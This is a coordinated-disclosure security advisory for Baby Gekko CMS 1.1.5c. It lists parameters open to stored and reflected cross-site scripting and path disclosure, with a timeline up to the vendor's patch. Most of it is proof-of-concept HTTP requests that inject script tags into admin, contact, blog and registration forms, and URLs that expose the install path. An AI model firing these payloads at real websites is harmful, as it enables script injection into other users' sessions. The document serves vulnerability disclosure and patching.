Baby Gekko CMS v1.1.5c Multiple Stored Cross-Site Scripting Vulnerabilities Vendor: Baby Gekko, Inc. Product web page: http://www.babygekko.com Affected version: 1.1.5c Summary: BabyGekko strives to deliver high quality websites and other web content fast and easy for all end users. It is a lightweight, extensible content management system platform for publishing websites, intranets, or blogs. Desc: Baby Gekko CMS suffers from multiple stored (post-auth) XSS vulnerabilities and path disclosure issues when parsing user input to several parameters via GET and POST method. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session or disclose the full installation path of the affected CMS. Overall the vulnerable parameters to XSS are: ------------------------------------------- Reflected (Non-Persistent) XSS: 1. username 2. password 3. verification_code 4. email_address 5. password_verify 6. firstname 7. lastname Stored (Persistent) XSS: 8. groupname 9. virtual_filename 10. branch 11. contact_person 12. street 13. city 14. province 15. postal 16. country 17. tollfree 18. phone 19. fax 20. mobile 21. title 22. meta_key 23. meta_description ------------------------------------------- Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.21 PHP 5.3.9 MySQL 5.5.20 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Vendor status: [05.04.2012] Vulnerabilities discovered. [05.04.2012] Initial contact with the vendor. [06.04.2012] Vendor responds asking more details. [07.04.2012] Sent details to the vendor. [09.04.2012] Vendor replies confirming the issues. [10.04.2012] Working with the vendor. [02.05.2012] Vendor releases patched version 1.2.0 to address these issues. [02.05.2012] Coordinated public security advisory released. Advisory ID: ZSL-2012-5086 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5086.php Vendor Advisory: http://www.babygekko.com/site/news/general/baby-gekko-v1-2-0-released-with-3rd-party-independent-security-testing-performed-by-zero-science-lab.html 05.04.2012 -- Stored XSS: ---------------------------------------------------------------------------------------------- ############################################################################################## POST http://localhost/gekkocms/admin/index.php?app=users&action=savecategory HTTP/1.1 cid new groupname "><script>alert(1);</script> status 1 btn_save Submit ############################################################################################## ---------------------------------------------------------------------------------------------- POST http://localhost/gekkocms/admin/index.php?app=contacts&action=saveitem HTTP/1.1 btn_save Submit id new category_id 0 title Zero Science Lab status 1 virtual_filename "><script>alert(1);</script> branch "><script>alert(2);</script> contact_person "><script>alert(3);</script> street "><script>alert(4);</script> city "><script>alert(5);</script> province "><script>alert(6);</script> postal "><script>alert(7);</script> country "><script>alert(8);</script> tollfree "><script>alert(9);</script> phone "><script>alert(10);</script> fax "><script>alert(11);</script> mobile "><script>alert(12);</script> email lab@zeroscience.mk display_email 0 additional_info ZSL ############################################################################################## ---------------------------------------------------------------------------------------------- POST http://localhost/gekkocms/admin/index.php?app=menus&action=savecategory cid new title "><script>alert(1);</script> status 1 btn_save Submit ############################################################################################## ---------------------------------------------------------------------------------------------- POST http://localhost/gekkocms/admin/index.php?app=users&action=saveitem HTTP/1.1 id new category_id 4 username test password test email_address a@a.com firstname "><script>alert(1);</script> lastname "><script>alert(2);</script> status 1 btn_save Submit ############################################################################################## ---------------------------------------------------------------------------------------------- POST http://localhost/gekkocms/admin/index.php?app=blog&action=saveitem (vulnerable: 6, 7) date_created 2012-04-05 23:41:09 date_modified 2012-04-05 23:41:09 date_available 2012-04-05 23:41:09 date_expiry 2012-04-05 23:41:09 options[] display_pagetitle options[] display_items_summary_noread options[] display_items_author options[] display_items_date_created options[] display_items_date_modified permission_read_everyone everyone permission_read[] 1 permission_read[] 2 permission_read[] 3 permission_read[] 4 permission_read[] 5 permission_write[] 1 meta_key "><script>alert(1);</script> meta_description "><script>alert(2);</script> btn_save Submit id new category_id 1 title TEST status 1 virtual_filename testing summary ZSL description Zero Science Lab created_by_id 1 modified_by_id 1 ############################################################################################## ---------------------------------------------------------------------------------------------- Reflected URI-Based XSS: ---------------------------------------------------------------------------------------------- ############################################################################################## GET /gekkocms/admin/index.php/"><script>alert(1);</script> HTTP/1.1 ############################################################################################## ---------------------------------------------------------------------------------------------- Reflected XSS: ---------------------------------------------------------------------------------------------- ############################################################################################## POST http://localhost/gekkocms/users/action/register HTTP/1.1 _csrftoken b9fe8295484875cda8fc84393151b97b10feeef2 username EdwardNigma email_address lab@zeroscience.mk password "><script>alert(1);</script> password_verify "><script>alert(2);</script> firstname "><script>alert(3);</script> lastname "><script>alert(4);</script> submit Submit ############################################################################################## ---------------------------------------------------------------------------------------------- Path Disclosure: ---------------------------------------------------------------------------------------------- ############################################################################################## GET http://localhost/gekkocms/admin/templates/babygekko/index.php HTTP/1.1 GET http://localhost/gekkocms/templates/html5demo/index.php HTTP/1.1 ---------------------------------------------------------------------------------------------- ##############################################################################################